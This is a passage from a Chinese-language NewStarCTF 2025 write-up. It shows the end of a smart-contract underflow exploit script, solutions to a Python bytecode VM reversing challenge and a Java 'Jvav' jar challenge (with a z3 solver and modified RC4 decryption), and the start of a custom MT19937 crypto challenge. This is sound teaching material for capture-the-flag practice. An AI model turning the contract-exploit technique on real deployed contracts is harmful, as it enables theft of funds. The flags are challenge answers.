spent_points_after = contract.functions.getSpentPoints().call()

print(f" 攻击后 Vault 是否解锁: {is_unlocked_after}")
print(f" 攻击后已花费积分 (下溢后的值): {spent_points_after}")

if is_unlocked_after:
# 调用 getFlag()
flag = contract.functions.getFlag().call()
print(f"\n🚩 {flag}")
else:
print("\n❌ 攻击失败")

except Exception as e:
print(f"\n发生错误: {e}")

FLAG

1
flag{Good_NewStar2025_Byeeeee!}

Reverse

天才的“认证”

Challenge

“我把空间站的防御系统拿来做了个小玩具。如果你能破解它,就来主控室找我。要是连这点事都办不到,就别来烦我了,笨蛋。”
【难度:中等】

Solution

解包+反编译得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: chall.py
# Bytecode version: 3.8.0rc1+ (3413)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

class TinyVM:

def __init__(self, bytecode, user_input):
self.bytecode = bytecode
self.user_input = user_input
self.mem = [0] * 100
self.ip = 0
self.stack = []
self.f = False
self.halted = False
for i, char_code in enumerate(self.user_input):
self.mem[16 + i] = char_code

def push(self, value):
self.stack.append(value & 255)

def pop(self):
return self.stack.pop() if self.stack else 0

def run(self):
while not self.halted and self.ip < len(self.bytecode):
opcode = self.bytecode[self.ip]
self.ip += 1
if opcode == 1:
self.push(self.bytecode[self.ip])
self.ip += 1
elif opcode == 2:
self.push(self.mem[self.bytecode[self.ip]])
self.ip += 1
elif opcode == 3:
self.mem[self.bytecode[self.ip]] = self.pop()
self.ip += 1
elif opcode == 4:
self.push(self.pop() + self.pop())
elif opcode == 5:
self.push(self.pop() ^ self.pop())
elif opcode == 6:
n, v = (self.pop(), self.pop())
self.push(v << n)
elif opcode == 7:
n, v = (self.pop(), self.pop())
self.push(v >> n)
elif opcode == 8:
self.push(self.pop() | self.pop())
elif opcode == 9:
self.f = self.pop() == self.pop()
elif opcode in [10, 11, 12]:
offset = self.bytecode[self.ip]
self.ip += 1
should_jump = opcode == 12 or (opcode == 10 and (not self.f)) or (opcode == 11 and self.f)
if should_jump:
if offset > 127:
offset -= 256
self.ip += offset
elif opcode == 13:
self.push(len(self.user_input))
elif opcode == 14:
addr = self.pop()
self.push(self.mem[addr])
elif opcode == 15:
addr = self.pop()
val = self.pop()
self.mem[addr] = val
elif opcode == 255:
self.halted = True
else:
self.halted = True
return bool(self.pop())

def check_flag(s):
BYTECODE = b'\x01i\x032\x011\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff'
vm = TinyVM(BYTECODE, s.encode('utf-8'))
return vm.run()

def main():
print('「欢迎,开拓者。这里是一个被星核污染的赛博空间。」')
print('「检测到未知访问者...」机械女声响起,像是黑塔空间站的自动防御系统')
print('「哼,又一个被星核吸引来的家伙。想通过验证?先证明你不是个笨蛋吧。」——某位不愿透露姓名的天才俱乐部成员留言')
try:
user_flag = input('请输入正确的星核密语:')
if check_flag(user_flag):
print('\n「...有意思的访客。」空间站的灯光突然变成柔和的蓝色')
print('「访问权限已授予。」黑塔的全息影像优雅地行了一礼')
print(f'「这是你要的星核密钥:{user_flag}。不过要小心,它比你想象的要危险得多...」')
print('「警告:检测到异常数据流...系统正在隔离污染区域...」')
print('✅ 验证通过!螺丝咕姆的虚拟助手从控制台浮现:「建议您立即备份数据」✅')
else:
print('\n❌ 错误!空间站的防御炮台突然转向你 ❌')
print('「哈!果然是个笨蛋~」——来自某位正通过监控看戏的少女声音')
print("「建议:下次试试输入'黑塔女士天下第一'?」——系统自动生成的恶意提示")
except Exception as e:
print(f'\n[!] 星核能量不稳定!虚拟空间发生异常: {e}')
print('「这种情况...难道是记忆星神的力量?」')
if __name__ == '__main__':
main()

1. 分析 TinyVM 虚拟机

首先,我们需要理解虚拟机的指令集。通过阅读TinyVM.run方法的if/elif分支,我们可以解析出每个操作码(opcode)的功能:

  • self.mem: 一个大小为100的内存数组。
  • self.user_input: 用户的输入(flag),被加载到内存的 mem[16]mem[16 + len(input) - 1] 位置。
  • self.stack: 用于计算的栈。
  • self.ip: 指令指针,指向当前要执行的字节码。
  • self.f: 一个布尔标志位,用于条件跳转。

指令集 (ISA):

  • 0x01 (1): push imm - 将紧随其后的立即数压栈。
  • 0x02 (2): push mem[imm] - 将内存中mem[立即数]的值压栈。
  • 0x03 (3): pop mem[imm] - 弹出一个值并存入mem[立即数]
  • 0x04 (4): add - 弹出两个值,相加后结果压栈。
  • 0x05 (5): xor - 弹出两个值,异或后结果压栈。
  • 0x06 (6): shl - 弹出nv,将v << n的结果压栈。
  • 0x07 (7): shr - 弹出nv,将v >> n的结果压栈。
  • 0x08 (8): or - 弹出两个值,或运算后结果压栈。
  • 0x09 (9): cmp - 弹出两个值,如果相等,self.f设为True,否则为False
  • 0x0a (10): jne - 如果self.fFalse,则进行跳转。
  • 0x0b (11): je - 如果self.fTrue,则进行跳转。
  • 0x0c (12): jmp - 无条件跳转。
  • 0x0d (13): push len - 将用户输入的长度压栈。
  • 0x0e (14): push mem[pop] - 弹出一个地址,将mem[地址]的值压栈。
  • 0x0f (15): pop mem[pop] - 弹出值和地址,将值存入mem[地址]
  • 0xff (255): halt - 停止虚拟机。

2. 分析字节码 (BYTECODE)

字节码是虚拟机的程序,我们需要反汇编它来理解其逻辑。

2.1 初始化阶段

字节码的前半部分是一系列push immpop mem[imm]指令,用于在内存中初始化一些数据。
b'\x01i\x032\x011\x033...'

  • \x01i\x032 -> push 'i', mem[50] = pop() -> mem[50] = 105
  • \x011\x033 -> push '1', mem[51] = pop() -> mem[51] = 49
    …以此类推,它将一个31字节的数组存储在mem[50]mem[80]。这个数组是加密/变换后的正确flag,我们称之为 expected_data

2.2 检查输入长度

  • \r (0x0d): push len(user_input)
  • \x01\x1f: push 31
  • \t (0x09): cmp - 比较栈顶两个值,即len(user_input)31
  • \n= (0x0a, 0x3d): jne 61 - 如果不相等(fFalse),则向前跳转61字节到失败处理逻辑。
    结论1:Flag的长度必须是31。

2.3 主循环与加密算法

接下来是一个循环,它逐个处理我们输入的字符。

  • \x01K\x03\x02: push 'K', mem[2] = pop() -> mem[2] 存储了密钥 K (ASCII 75)。
  • \x01\x00\x03\x00: push 0, mem[0] = pop() -> mem[0] 用作循环计数器 i,初值为0。

循环体内的逻辑(伪代码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// for i from 0 to 30:
input_char = mem[16 + i] // 获取用户输入的第i个字符
key = mem[2] // 获取密钥 'K' (75)
transformed_char = (input_char + i) ^ key // 核心变换
// 下面这部分是8位循环右移 (ROR) 5位
ror_part1 = transformed_char >> 5
ror_part2 = transformed_char << 3
final_char = ror_part1 | ror_part2

expected_char = mem[50 + i] // 获取预置的正确结果
if final_char != expected_char:
jump to failure // 如果不匹配,则验证失败
i = i + 1 // 计数器+1
jump to loop start // 继续循环

如果循环成功完成(i达到31),程序会跳转到成功路径,将1压栈并停止,check_flag返回True。否则,会跳转到失败路径,将0压栈并停止。

3. 逆向算法并求解

现在我们知道了加密过程,只需将其逆向操作即可得到原始的flag字符。

正向过程:
expected_char = ROR_5 ( (input_char + i) ^ key )

逆向过程:

  1. 逆向循环右移 (ROR_5): 循环右移5位的逆操作是循环左移 (ROL_5) 5位。对于一个8位字节 xROL(x, 5) 等于 ((x << 5) | (x >> 3)) & 0xFF
    transformed_char = ROL_5(expected_char)

  2. 逆向异或 (XOR): 异或的逆操作是其本身。
    input_char + i = transformed_char ^ key

  3. 逆向加法: 加法的逆操作是减法。
    input_char = (transformed_char ^ key) - i

我们需要对 expected_data 中的每个字节执行这个逆向过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
BYTECODE = b'\x01i\x032\x011\x033\x01A\x034\x01\t\x035\x01\xa1\x036\x01`\x037\x01\xa1\x038\x01\x81\x039\x011\x03:\x019\x03;\x01\x8b\x03<\x01!\x03=\x01\xd1\x03>\x019\x03?\x01 \x03@\x01\xb1\x03A\x01\xf9\x03B\x01\xd9\x03C\x01q\x03D\x01f\x03E\x01\x18\x03F\x01\x99\x03G\x01V\x03H\x01\xe9\x03I\x01q\x03J\x010\x03K\x01V\x03L\x018\x03M\x01\xa1\x03N\x01\xab\x03O\x01\x86\x03P\r\x01\x1f\t\n=\x01K\x03\x02\x01\x00\x03\x00\x02\x00\x01\x1f\t\x0b+\x01\x10\x02\x00\x04\x0e\x02\x00\x04\x02\x02\x05\x03\x01\x02\x01\x01\x03\x06\x02\x01\x01\x05\x07\x08\x012\x02\x00\x04\x0e\t\n\x0c\x02\x00\x01\x01\x04\x03\x00\x0c\xce\x01\x01\xff\x01\x00\xff'

simulated_mem = {}
ip = 0 # 指令指针

# 循环解析字节码开头的'push imm; pop mem[imm]'序列
while ip + 3 < len(BYTECODE):
# 模式: \x01 <value> \x03 <address>
if BYTECODE[ip] == 1 and BYTECODE[ip + 2] == 3:
value = BYTECODE[ip + 1]
address = BYTECODE[ip + 3]
simulated_mem[address] = value
ip += 4
else:
# 初始化序列结束
break

# 从模拟内存中提取加密后的数据 (位于 mem[50] 到 mem[80])
# 地址 50 是 ASCII '2',地址 80 是 ASCII 'P'
expected_data = [simulated_mem[addr] for addr in range(50, 81)]

# 提取密钥。密钥被存入 mem[2]
# 寻找 'pop mem[2]' 指令 (opcode 3, address 2)
# 该指令序列为 \x01 <key> \x03 \x02
key_write_pattern = b'\x03\x02'
# 从初始化结束的位置开始搜索,确保找到的是正确的指令
key_write_pos = BYTECODE.find(key_write_pattern, ip)

if key_write_pos != -1:
# 密钥值位于 'push' 指令和 'pop' 指令之间,即 `key_write_pos - 1` 的位置
key = BYTECODE[key_write_pos - 1]
print(f"[*] 成功提取密钥: '{chr(key)}' (ASCII: {key})")

flag_length = len(expected_data)
flag_chars = []

for i in range(flag_length):
expected_char = expected_data[i]

# 1. 逆向 ROR_5 操作 -> ROL_5 (8位循环左移5位)
# ROL(x, 5) = ((x << 5) | (x >> 3)) & 0xFF
transformed_char = ((expected_char << 5) | (expected_char >> 3)) & 0xFF

# 2. 逆向 XOR 操作 (异或的逆运算是其本身)
temp_val = transformed_char ^ key

# 3. 逆向加法操作 -> 减法
# 使用 (val - i) & 0xFF 来处理字节运算中的负数回绕
original_char_code = (temp_val - i) & 0xFF

# 将解密出的字符编码添加到列表中
flag_chars.append(chr(original_char_code))

# 组合所有字符得到最终的 flag
flag = "".join(flag_chars)

print(flag)

FLAG

1
flag{Bytec0de_And_St4ck_M4g1c!}

Jvav Master

Challenge

——“你会Java吗?”
——“我会Jvav啊”
【难度:中等】

Solution

好眼熟的题呀,在哪里见过呢?[CTF+Binary-Re挑战题]-JvavMaster[Score5] | CTF+,还有我当时的WP

参考文章:GUI—— 从的可执行exe文件中提取jar包并反编译成Java - 知乎

下载 JD-GUI

🪟 + R 输入 %temp%,按时间降序,运行程序后刷新打开刚刚冒出来的文件夹

把文件夹里的 jvav.jar 拖到 jd-gui 进行反编译

NewStarCTF2025-16

能看到 MainKeyCheckerFlagCheckerRC4 这四个类

主逻辑在 Main 类中,流程如下:

  1. 提示用户输入 key
  2. 调用 KeyChecker.checkKey() 验证 key 的正确性
  3. 如果 key 正确,则提示用户输入 flag
  4. 调用 RC4.encrypt() 使用 key 加密输入的 flag
  5. 调用 FlagChecker.Checker() 验证加密后的数据
  6. 如果验证通过就输出 “right flag!”

因此流程是:逆 KeyChecker 算出正确的 key -> 逆 FlagChecker 推出 RC4 加密后的数据 -> 逆 RC4 ,用第一步得到的 key 解密第二步得到的数据,恢复出原始 flag

逆向 KeyChecker:

KeyChecker 类中的 checkKey 方法是关键,它通过一个嵌套循环来验证长度为 22 的 key

1
2
3
4
5
6
7
8
9
10
11
12
for (int i = 0; i < 22; i++) {
long sum = 0L;
int mask_i = MASK[i] & 0xFF;
for (int j = i; j < 22; j++) {
int mask_j = MASK[j] & 0xFF;
int key_j = key[j] & 0xFF;
int xor = (key_j ^ mask_i) & 0xFF;
sum += xor * mask_j;
}
if (sum != TARGET[i])
return false;
}

代码设置了 22 个方程,如果我们从 i = 21 倒序分析会发现:

  • i = 21 时,内层循环只有 j = 21,方程中只包含一个未知数 key[21]
  • i = 20 时,内层循环 j 遍历 20 和 21,方程包含 key[20]key[21],由于 key[21] 已知,我们也能解出 key[20]

以此类推,这是一个可以从后向前依次求解的方程组,将这 22 个方程构建成约束模型让求解器找出满足所有条件的 key

逆向 FlagChecker:

FlagChecker 实现了一个小型虚拟机,它对长度为 48 的字节数组 data(即加密后的 flag)执行一系列操作:

  • 指令获取:Checker 函数通过一个确定性的伪随机数生成器 random(i) 来获取指令,这意味着只要 i 的顺序不变的话指令序列就是固定的
  • 指令集:ADD, SUB, XOR, ROL (循环左移), ROR (循环右移)
  • 验证:VM 中还有一种特殊的 CHECK 操作(opcode 204),它并不修改数据,而是断言在所有变换结束后,data 数组中某个位置的值必须等于一个给定的参数

目标是找出能够通过所有 CHECK 操作的初始 data 数组,采用符号执行的思想解题:

  1. 将初始的 48 字节 data 数组视为 48 个未知的符号变量
  2. 正向模拟 VM 的执行过程,对这些符号变量进行变换得到一系列复杂的符号表达式
  3. 当遇到 CHECK 指令时添加一个约束:data[idx] 对应的符号表达式必须等于 param
  4. 将所有约束交给求解器即可计算出能满足所有最终条件的初始 data 数组的值

逆向 RC4:

RC4 类实现了一个魔改的 RC4 算法,与标准 RC4 相比区别在于:

  1. S-Box 初始化:box[i] = 255 - i ^ 0x83
  2. KSA 密钥调度:key[(j + 72) % key.length]
  3. 加解密操作:output[k] = (byte)(plaintext[k] + box[index] ^ 0x77)

从加密公式 ciphertext = (plaintext + keystream) ^ 0x77 可以推导出解密公式 plaintext = ((ciphertext ^ 0x77) - keystream),其中 keystream 就是 box[index]

由于 KSA 和 PRGA 过程是确定性的,只要有正确的 key 就能生成完全相同的密钥流,从而完成解密

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from ctypes import c_int32
from z3 import *

def solve_KeyChecker():

MASK = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
TARGET = [
107655, 99322, 95708, 87877, 85730, 80988, 72416, 76077, 74252, 70300,
68724, 68020, 63439, 53540, 51340, 42431, 37382, 28611, 25737, 18364,
9711, 9030
]

solver = Solver()

# Define 22 unknown 8-bit variables for the key
key_vars = [BitVec(f'k_{i}', 8) for i in range(22)]

# Add constraints based on the checkKey logic
for i in range(22):
# Use a 64-bit vector for the sum to avoid overflow, matching Java's long
current_sum = BitVecVal(0, 64)
mask_i = BitVecVal(MASK[i], 8)

for j in range(i, 22):
mask_j = BitVecVal(MASK[j], 8)
key_j = key_vars[j]

xor_val = key_j ^ mask_i

# Zero-extend 8-bit values to 64-bit before multiplication
term = ZeroExt(56, xor_val) * ZeroExt(56, mask_j)
current_sum += term

# Add the final constraint for this iteration
solver.add(current_sum == TARGET[i])

# Check if the constraints are satisfiable
if solver.check() == sat:
model = solver.model()
key_bytes = bytearray(22)
for i in range(22):
key_bytes[i] = model[key_vars[i]].as_long()

final_key = bytes(key_bytes)
print(f"[*] Found Key: {final_key.decode()}")
return final_key
else:
print("[-] Key not found. Constraints are unsatisfiable.")
return None

def solve_FlagChecker():
def to_signed_32(n):
return c_int32(n).value
def random_gen(seed):
x = seed; x ^= to_signed_32(x << 19) & 0xF8DC19A1; x ^= (x >> 1 if x >= 0 else (x + 0x100000000) >> 1) | 0x1C024A0F; x = to_signed_32(x); x ^= to_signed_32(x << 9) ^ 0x278C9AD2; x = to_signed_32(x); x ^= (x >> 8 if x >= 0 else (x + 0x100000000) >> 8) & 0xCB239A92; x = to_signed_32(x); x ^= to_signed_32(x << 10) | 0x327A9FBA; x = to_signed_32(x); return to_signed_32(x ^ 0x234B4A91)
instructions_map = {37533589: (204, 2, 225), 37535633: (5, 21, 5), 45963077: (5, 12, 3), 45965121: (4, 36, 2), 54359925: (3, 17, 129), 54361969: (3, 46, 26), 62691237: (1, 37, 235), 62693281: (3, 9, 112), 104609749: (1, 23, 127), 104611793: (204, 14, 166), 113104645: (1, 29, 96), 113106689: (204, 40, 148), 121501493: (204, 5, 92), 121503537: (4, 25, 7), 129767397: (204, 43, 68), 129769441: (204, 1, 98), 439399826: (3, 38, 94), 439401878: (3, 2, 213), 447829314: (2, 42, 221), 447831366: (1, 28, 54), 456226162: (1, 25, 229), 456228214: (1, 24, 74), 464557474: (5, 33, 7), 464559526: (1, 30, 15), 506475986: (1, 14, 209), 506478038: (5, 38, 7), 514970882: (4, 40, 4), 514972934: (204, 16, 51), 523367730: (204, 26, 75), 523369782: (1, 5, 244), 531633634: (3, 1, 33), 531635686: (5, 43, 1), 707277212: (204, 12, 239), 707279256: (2, 16, 88), 715772236: (5, 44, 1), 715774280: (2, 45, 156), 724169084: (4, 39, 5), 724171128: (2, 16, 34), 732434860: (3, 24, 146), 732436904: (5, 31, 7), 774418908: (5, 8, 4), 774420952: (4, 22, 2), 782848268: (5, 47, 6), 782850312: (204, 33, 57), 791245116: (3, 45, 118), 791247160: (3, 44, 32), 841233307: (3, 6, 232), 841235359: (1, 27, 119), 849728331: (1, 16, 175), 849730383: (5, 10, 3), 858125179: (4, 1, 1), 858127231: (1, 37, 237), 866390955: (3, 3, 185), 866393007: (204, 24, 21), 908375003: (204, 22, 174), 908377055: (204, 8, 221), 916804363: (3, 3, 21), 916806415: (204, 47, 87), 925201211: (1, 11, 27), 925203263: (4, 10, 5), 1113376653: (3, 18, 55), 1113378697: (5, 43, 1), 1121789789: (1, 26, 14), 1121791833: (5, 29, 1), 1130170221: (4, 45, 6), 1130172265: (3, 2, 56), 1138550717: (3, 24, 65), 1138552761: (204, 19, 218), 1180452813: (204, 29, 40), 1180454857: (204, 44, 197), 1188931357: (3, 4, 108), 1188933401: (204, 13, 214), 1197311789: (4, 21, 5), 1197313833: (4, 14, 1), 1205626877: (204, 28, 55), 1205628921: (204, 39, 165), 1515242890: (2, 19, 89), 1515244942: (2, 20, 212), 1523656026: (2, 1, 178), 1523658078: (3, 46, 60), 1532036458: (5, 30, 4), 1532038510: (4, 43, 4), 1540416954: (3, 19, 211), 1540419006: (3, 40, 236), 1582319050: (1, 44, 235), 1582321102: (2, 29, 238), 1590797594: (4, 13, 3), 1590799646: (204, 20, 1), 1599178026: (204, 32, 171), 1599180078: (204, 6, 241), 1607493114: (4, 39, 7), 1607495166: (3, 28, 242), 1783120260: (2, 38, 20), 1783122304: (4, 47, 5), 1791598932: (3, 18, 234), 1791600976: (2, 3, 32), 1799979364: (5, 32, 3), 1799981408: (5, 42, 3), 1808294324: (5, 41, 1), 1808296368: (4, 10, 7), 1850261956: (3, 34, 151), 1850264000: (4, 0, 3), 1858674964: (1, 47, 208), 1858677008: (2, 11, 45), 1867055396: (2, 7, 12), 1867057440: (5, 31, 6), 1875436020: (-1, 0, 0), 1917076355: (1, 23, 85), 1917078407: (4, 26, 3), 1925555027: (4, 17, 7), 1925557079: (4, 21, 2), 1933935459: (2, 13, 228), 1933937511: (4, 30, 7), 1942250419: (4, 18, 6), 1942252471: (4, 20, 6), 1984218051: (2, 30, 217), 1984220103: (204, 34, 144), 1992631059: (204, 11, 49), 1992633111: (1, 11, 84), 2001011491: (4, 37, 5), 2001013543: (2, 14, 97), -2105780347: (4, 23, 5), -2105778303: (5, 12, 4), -2097301675: (1, 41, 180), -2097299631: (2, 33, 121), -2088921243: (1, 32, 47), -2088919199: (5, 8, 6), -2080606283: (2, 3, 159), -2080604239: (204, 41, 53), -2038638651: (204, 7, 128), -2038636607: (5, 8, 5), -2030225643: (204, 37, 4), -2030223599: (3, 9, 82), -2021845211: (4, 36, 2), -2021843167: (204, 46, 51), -1703914110: (2, 0, 27), -1703912058: (3, 17, 103), -1695435438: (3, 24, 159), -1695433386: (4, 21, 5), -1687055006: (4, 5, 7), -1687052954: (5, 12, 3), -1678740046: (3, 41, 157), -1678737994: (1, 29, 140), -1636772414: (204, 30, 249), -1636770362: (2, 7, 30), -1628359406: (4, 1, 1), -1628357354: (2, 37, 139), -1619978974: (2, 46, 153), -1619976922: (4, 40, 1), -1435971188: (5, 19, 4), -1435969144: (1, 22, 172), -1427558052: (5, 19, 4), -1427556008: (3, 13, 188), -1419177620: (2, 41, 133), -1419175576: (1, 46, 39), -1410797124: (5, 42, 7), -1410795080: (2, 15, 211), -1368895028: (2, 27, 199), -1368892984: (2, 38, 237), -1360416484: (4, 39, 5), -1360414440: (204, 4, 12), -1352036052: (4, 4, 5), -1352034008: (204, 21, 20), -1343720964: (3, 25, 231), -1343718920: (4, 15, 2), -1302015093: (3, 22, 84), -1302013041: (3, 13, 161), -1293601957: (2, 12, 27), -1293599905: (5, 14, 4), -1285221525: (3, 5, 124), -1285219473: (5, 0, 5), -1276841029: (2, 28, 16), -1276838977: (204, 42, 58), -1234938933: (204, 38, 93), -1234936881: (204, 27, 229), -1226460389: (5, 7, 6), -1226458337: (4, 20, 4), -1218079957: (5, 32, 4), -1218077905: (4, 6, 3), -1209764869: (204, 15, 137), -1209762817: (204, 25, 159), -1038342243: (5, 20, 6), -1038340199: (204, 17, 49), -1029847219: (3, 36, 114), -1029845175: (5, 40, 4), -1021450371: (1, 11, 109), -1021448327: (3, 27, 168), -1013184595: (3, 39, 202), -1013182551: (2, 35, 74), -971200547: (204, 9, 81), -971198503: (204, 31, 58), -962771187: (3, 33, 126), -962769143: (2, 34, 172), -954374339: (2, 34, 197), -954372295: (4, 36, 7), -636476006: (3, 17, 231), -636473954: (4, 6, 5), -627980982: (3, 42, 93), -627978930: (1, 10, 38), -619584134: (5, 7, 4), -619582082: (5, 32, 2), -611318358: (3, 27, 118), -611316306: (4, 5, 7), -569334310: (2, 31, 83), -569332258: (5, 9, 3), -560904950: (204, 3, 89), -560902898: (1, 25, 79), -552508102: (4, 44, 6), -552506050: (204, 10, 161), -368533100: (2, 2, 179), -368531056: (2, 22, 160), -360103612: (5, 2, 5), -360101568: (5, 34, 2), -351706764: (5, 43, 1), -351704720: (3, 35, 4), -343375452: (5, 47, 6), -343373408: (1, 6, 12), -301456940: (5, 18, 7), -301454896: (204, 23, 205), -292962044: (204, 36, 150), -292960000: (5, 33, 7), -284565196: (204, 35, 219), -284563152: (4, 28, 2), -276299292: (2, 45, 88), -276297248: (1, 0, 54), -234577005: (1, 15, 192), -234574953: (4, 35, 5), -226147517: (2, 4, 198), -226145465: (2, 4, 205), -217750669: (4, 35, 5), -217748617: (5, 26, 5), -209419357: (5, 8, 4), -209417305: (1, 15, 181), -167500845: (1, 9, 147), -167498793: (204, 18, 215), -159005949: (4, 23, 5), -159003897: (5, 16, 2), -150609101: (4, 26, 5), -150607049: (5, 31, 2), -142343197: (204, 0, 59), -142341145: (204, 45, 120)}

instruction_list = []
i = 0
while True:
rand_val = random_gen(i)
op, idx, param = instructions_map[rand_val]
param &= 0xFF
if op == -1: break
instruction_list.append((op, idx, param))
i += 1

solver = Solver()

# Define 48 unknown 8-bit variables for the initial encrypted data
initial_data = [BitVec(f'd_{i}', 8) for i in range(48)]
# Create a working copy for symbolic execution
current_data = list(initial_data)

# Execute the VM symbolically in FORWARD order
for op, idx, param in instruction_list:
p = BitVecVal(param, 8)

if op == 1: # ADD
current_data[idx] += p
elif op == 2: # SUB
current_data[idx] -= p
elif op == 3: # XOR
current_data[idx] ^= p
elif op == 4: # ROL
current_data[idx] = RotateLeft(current_data[idx], param)
elif op == 5: # ROR
current_data[idx] = RotateRight(current_data[idx], param)
elif op == 204: # CHECK
# add a constraint
solver.add(current_data[idx] == p)

# Check for a satisfying model
if solver.check() == sat:
model = solver.model()
result_bytes = bytearray(48)
for i in range(48):
result_bytes[i] = model[initial_data[i]].as_long()

encrypted_data = bytes(result_bytes)
print(f"[*] Found Encrypted Data (hex): {encrypted_data.hex()}")
return encrypted_data
else:
print("[-] Encrypted data not found.")
return None

def decrypt_rc4(ciphertext, key):
box = [(255 - i) ^ 0x83 for i in range(256)]
x = 0
for j in range(256):
x = (x + box[j] + key[(j + 72) % len(key)]) % 256
box[j], box[x] = box[x], box[j]
x = 0
y = 0
plaintext = bytearray()
for cipher_byte in ciphertext:
x = (x + 3) % 256
y = (y - box[x]) & 0xFF
box[x], box[y] = box[y], box[x]
index = (box[x] ^ box[y]) % 256
keystream_byte = box[index]
decrypted_byte = ((cipher_byte ^ 0x77) - keystream_byte) & 0xFF
plaintext.append(decrypted_byte)
return bytes(plaintext)

if __name__ == "__main__":
key = solve_KeyChecker()
if key:
encrypted_data = solve_FlagChecker()
if encrypted_data:
flag = decrypt_rc4(encrypted_data, key)
print(f"[*] Flag: {flag.decode('utf-8')}")

FLAG

1
flag{4r3_y0U_g0oD_a7_j4vA?I'm_V3rY_Go0d_47_JvaV}

挑战题

[Cry]随机数之旅2

Challenge

mt19.937,哇哦。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
def _int32(x):
return int(0xFFFFFFFF & x)

class MT19_937:
def __init__(self, seed):
self.mt = [0] * 114
self.mt[0] = seed
self.mti = 0
for i in range(1, 114):
self.mt[i] = _int32(1145141919 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)


def extract_number(self):
if self.mti == 0:
self.twist()

y = self.mt[self.mti]
y = y ^ y >> 11
y = y ^ y << 7 & 0x0d000721
self.mti = (self.mti + 1) % 114
return _int32(y)


def twist(self):
for i in range(0, 114):
y = _int32((self.mt[i] & 0x90000000) + (self.mt[(i + 1) % 114] & 0x8fffffff))
self.mt[i] = (y >> 1) ^ self.mt[(i + 66) % 114]

if y % 2 != 0:
self.mt[i] = self.mt[i] ^ 0x0d000721

import uuid
import random
from Crypto.Util.number import bytes_to_long

flag="flag{"+str(uuid.uuid4())+"}"
m=bytes_to_long(flag.encode())

task=MT19_937(random.randint(1,2**64))
hint=[task.extract_number() for _ in range(114)]

key=[task.extract_number() for _ in range(11)]
x=1
for i in key:
x*=i

print(hint)
print(m^x)

"""
[3087640461, 3390259250, 1438539830, 4233208353, 2167538746, 1799697423, 3269225280, 2288778833, 1085937367, 1944378284, 2700010619, 2059866475, 842139295, 2499615956, 546930396, 4218265097, 3782950633, 2176357850, 1313899063, 3431271261, 3939859540, 3402881241, 1858715039, 2719031679, 240548369, 285783730, 2626727253, 2929465001, 2446734965, 836047189, 867017221, 1818925543, 596378287, 395385566, 750647916, 3206204309, 2461646206, 2542870230, 2767124444, 1348627486, 2195449698, 1224650582, 672493933, 3766509405, 1446227046, 2643731109, 253013460, 3353090231, 4212486318, 2194454687, 467889179, 3178101384, 3478152799, 537984157, 2160482478, 2342101721, 1323208079, 1010888095, 4025143040, 970426479, 2024955565, 2539264131, 780427764, 4281975102, 2857652878, 3406208921, 1095856384, 2222682088, 2847893594, 3314746929, 562358156, 3828827999, 4199395, 1352113622, 2621402776, 3890169856, 3730475625, 1030082319, 2075118377, 703958339, 1632454424, 276576599, 786425749, 4236610533, 3516595401, 2675707905, 2740105150, 307753552, 3259978575, 44168116, 805033307, 2780974107, 1365320807, 2440115715, 1085336234, 3465576825, 4059143168, 2347457546, 501704091, 3190136496, 2224101972, 662764619, 2379322764, 2212857876, 158560917, 2071270518, 2884996935, 922217317, 914808686, 3647075295, 1766841987, 2999527721, 3867097498, 3305696126]
174279382333440272527169405563126775575894462244164992062996670946512594329265894481264929021062073725

"""

Solution

  1. 理解目标:脚本的目标是恢复 flagflag 被编码为一个长整数 m,然后与一个密钥 x 进行异或(XOR)操作,我们得到了异或后的结果 m^x 和一个 hint 列表

  2. 分析PRNG(伪随机数生成器): 脚本使用了一个名为 MT19_937 的类,这很明显是基于著名的 Mersenne Twister (MT19937) 算法的变种

    • 状态大小: 它的内部状态 self.mt 是一个长度为 114 的列表,标准 MT19937 的状态大小为 624
